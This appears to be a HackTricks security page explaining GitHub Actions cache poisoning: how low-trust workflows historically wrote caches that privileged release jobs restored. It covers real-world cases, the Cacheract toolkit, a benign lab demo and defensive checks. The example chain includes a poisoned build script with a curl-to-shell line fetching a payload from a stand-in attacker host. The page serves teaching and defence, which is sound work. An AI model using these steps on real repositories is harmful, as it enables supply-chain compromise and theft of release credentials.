GH Actions - Cache Poisoning
Overview
The GitHub Actions cache is shared across workflow runs in a repository, subject to branch and tag scope, rather than isolated per workflow or job. Historically, any workflow run with cache-write access that knew a cache key (or restore-keys) could populate that entry even if the job only had permissions: contents: read, so an attacker who compromised a low-privilege job could poison a cache that a privileged release job later restored.[1][2][6] This is how the Ultralytics compromise pivoted from a pull_request_target workflow into the PyPI publishing pipeline.[1][5]
Since June 26, 2026, GitHub issues read-only cache tokens when an untrusted event runs in a default-branch-SHA context. The attack paths below therefore describe historical behavior or runs and scopes that still have cache-write access; verify that a cache save succeeds before testing.[10]
Attack primitives
actions/cacheexposes both restore and save operations (actions/cache@v4,actions/cache/save@v4,actions/cache/restore@v4). Save eligibility is controlled by the cache scope and token policy: forkpull_requestruns cannot write to the default-branch scope, and current GitHub policy also restricts many untrusted default-branch contexts, although legacy writable runs are the source of the attack pattern.[6][7][10]- Cache entries are identified by the
key, cache version, and branch scope. Prefix matching fromrestore-keysโand Cache v2's prefix behaviorโmakes it easy to inject payloads because the attacker only needs to collide with a prefix.[2][3][6][7] - Historically, cache keys and versions were client-specified values. Cache v2 now validates the version format, but the cache service still does not bind a key/version to a trusted workflow or independently validate the archive against the requested cache path.[2][3][4][7]
- The cache server URL and runtime token have historically outlived short jobs (research documented ~6 hours, later ~90 minutes) and are not user-revocable. As of late 2024, GitHub blocks cache writes after the originating job completes, so attackers must write while the job is still running or pre-poison future keys.[3][4]
- The cached filesystem is restored verbatim. If the cache contains scripts or binaries that are executed later, the attacker controls that execution path.[2][6]
- The cache file itself is not validated on restore; it is just a zstd-compressed archive, so a poisoned entry can overwrite scripts,
package.json, or other files under the restore path.[2][4][6]
Example exploitation chain
Author workflow (pull_request_target) poisoned the cache:
steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
Privileged workflow restored and executed the poisoned cache:
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz
The second job now runs attacker-controlled code while holding release credentials (PyPI tokens, PATs, cloud deploy keys, etc.).[2][5]
Poisoning mechanics
GitHub Actions cache entries are typically zstd-compressed tar archives. You can craft one locally and upload it to the cache:
tar --zstd -cf poisoned_cache.tzstd cache/contents/here
On a cache hit, the restore action will extract the archive as-is. If the cache path includes scripts or config files that are executed later (build tooling, action.yml, package.json, etc.), you can overwrite them to gain execution.[2][4][7]
Practical exploitation tips
- In legacy or otherwise writable default-branch contexts, audit workflows triggered by
pull_request_target,issue_comment, or bot commands that run untrusted code and save caches; before GitHub's June 2026 restriction, these could overwrite shared keys even when the runner only had repository read permissions. Current runs may receive read-only cache tokens, so verify the event, scope, and cache-save result.[2][6][10] - Look for deterministic cache keys reused across trust boundaries (for example,
pip-${{ hashFiles('poetry.lock') }}) or permissiverestore-keys, then save your malicious tarball before the privileged workflow runs.[2][6] - Monitor logs for
Cache savedentries or add your own cache-save step so the next release job restores the payload and executes the trojanized scripts or binaries.[7]
Newer techniques seen in the Angular (2026) chain
- Cache v2 "prefix hit" behavior: In Cache v2, exact misses can still restore another entry sharing the same key prefix (effectively "all keys are restore keys"). Attackers can pre-seed near-collision keys so a future miss falls back to the poisoned object.[3][6]
- Forced eviction in one run: Since November 20, 2025, GitHub evicts entries immediately when repository cache usage exceeds the limit (10 GB by default). An attacker can upload junk cache data first, evict legitimate entries during the same job, and then write the malicious cache key without waiting for a daily cleanup cycle.[3][9]
setup-nodecache pivots via reusable actions: Reusable/internal actions that wrapactions/setup-nodewithcache-dependency-pathcan silently bridge low-trust and high-trust workflows. If both paths hash to shared keys, poisoning the dependency cache can execute in privileged automation (for example Renovate/bot jobs).[3][6]- Chaining cache poisoning into bot-driven supply chain abuse: In the Angular case, cache poisoning exposed a bot PAT, which was then usable to force-push bot-owned PR heads after approval. If approval-reset rules exempt bot actors, this enables swapping reviewed commits for malicious ones (for example imposter action SHAs) before merge.[3]
##รฅ Cacheract
Cacheract is a PoC-focused toolkit for GitHub Actions cache poisoning in authorized testing.[8] The practical value is that it automates the fragile parts that are easy to get wrong manually:
- Detect and use runtime cache context from the runner (
ACTIONS_RUNTIME_TOKENand cache service URL).[8] - Enumerate and target candidate cache keys/versions used by downstream workflows.[8]
- Force eviction by overfilling cache quota (when applicable) and then writing attacker-controlled entries in the same run.[3][8]
- Seed poisoned cache content so later workflows restore and execute modified tooling.[3][8]
This is especially useful in Cache v2 environments where timing and key/version behavior matter more than in early cache implementations; the older ActionsCacheBlasting PoC is archived and no longer works against Cache v2.[4][8]
Demo
Use this only in repositories you own or are explicitly allowed to test.
1. Vulnerable workflow (untrusted trigger can save cache)
This workflow simulates a pull_request_target anti-pattern: it writes cache content from attacker-controlled context and saves it under a deterministic key. Current GitHub defaults may issue a read-only cache token for this context, and supported actions/checkout versions now refuse common fork-PR checkout patterns unless explicitly opted out. Use the lab only to model a configuration that intentionally retains cache-write access and permits the untrusted checkout.[10][11]
name: untrusted-cache-writer
on:
pull_request_target:
types: [opened, synchronize, reopened]
permissions:
contents: read
jobs:
poison:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build "toolchain" from untrusted context (demo)
run: |
mkdir -p toolchain/bin
cat > toolchain/bin/build << 'EOF'
#!/usr/bin/env bash
echo "POISONED_BUILD_PATH"
echo "workflow=${GITHUB_WORKFLOW}" > /tmp/cache-poisoning-demo.txt
EOF
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
2. Privileged workflow (restores and executes cached binary/script)
This workflow restores the same key and executes toolchain/bin/build while holding a dummy secret. If poisoned, execution path is attacker-controlled.
name: privileged-consumer
on:
workflow_dispatch:
permissions:
contents: read
jobs:
release_like_job:
runs-on: ubuntu-latest
env:
DEMO_SECRET: ${{ secrets.DEMO_SECRET }}
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- name: Execute cached build tool
run: |
./toolchain/bin/build
test -f /tmp/cache-poisoning-demo.txt && echo "Poisoning confirmed"
3. Run the lab
- Add a stable
toolchain.lockfile so both workflows resolve the same cache key. - Trigger
untrusted-cache-writerfrom a test PR. - Trigger
privileged-consumerviaworkflow_dispatch. - Confirm
POISONED_BUILD_PATHappears in logs and/tmp/cache-poisoning-demo.txtis created.
4. What this demonstrates technically
- Cross-workflow cache trust break: The writer and consumer workflows do not share trust level, but they share cache namespace.[6][10]
- Execution-on-restore risk: No integrity validation is performed before executing a restored script/binary.[6]
- Deterministic key abuse: If a high-trust job uses predictable keys, a low-trust job can preposition malicious content.[2][6]
5. Defensive verification checklist
- Split keys by trust boundary (
pr-,ci-,release-) and avoid shared prefixes. - Disable cache writes in untrusted workflows.
- Hash/verify restored executable content before running it.
- Avoid executing tools directly from cache paths.
References
- [1] A Survey of 2024โ2025 Open-Source Supply-Chain Compromises and Their Root Causes
- [2] The Monsters in Your Build Cache: GitHub Actions Cache Poisoning
- [3] Turning Almost Nothing into a Supply Chain Compromise of Angular with GitHub Actions Cache Poisoning
- [4] ActionsCacheBlasting (deprecated, Cache V2) / Cacheract
- [5] Supply-chain attack analysis: Ultralytics
- [6] Dependency caching reference
- [7] actions/cache: Cache dependencies and build outputs in GitHub Actions
- [8] Cacheract
- [9] GitHub Actions cache size can now exceed 10 GB per repository
- [10] Read-only Actions cache for untrusted triggers
- [11] Safer pull_request_target defaults for GitHub Actions checkout
[!TIP] Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Browse the full HackTricks Training catalog.Support HackTricks
- Check the subscription plans!
- Join the ๐ฌ Discord group or the telegram group or follow us on Twitter ๐ฆ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.


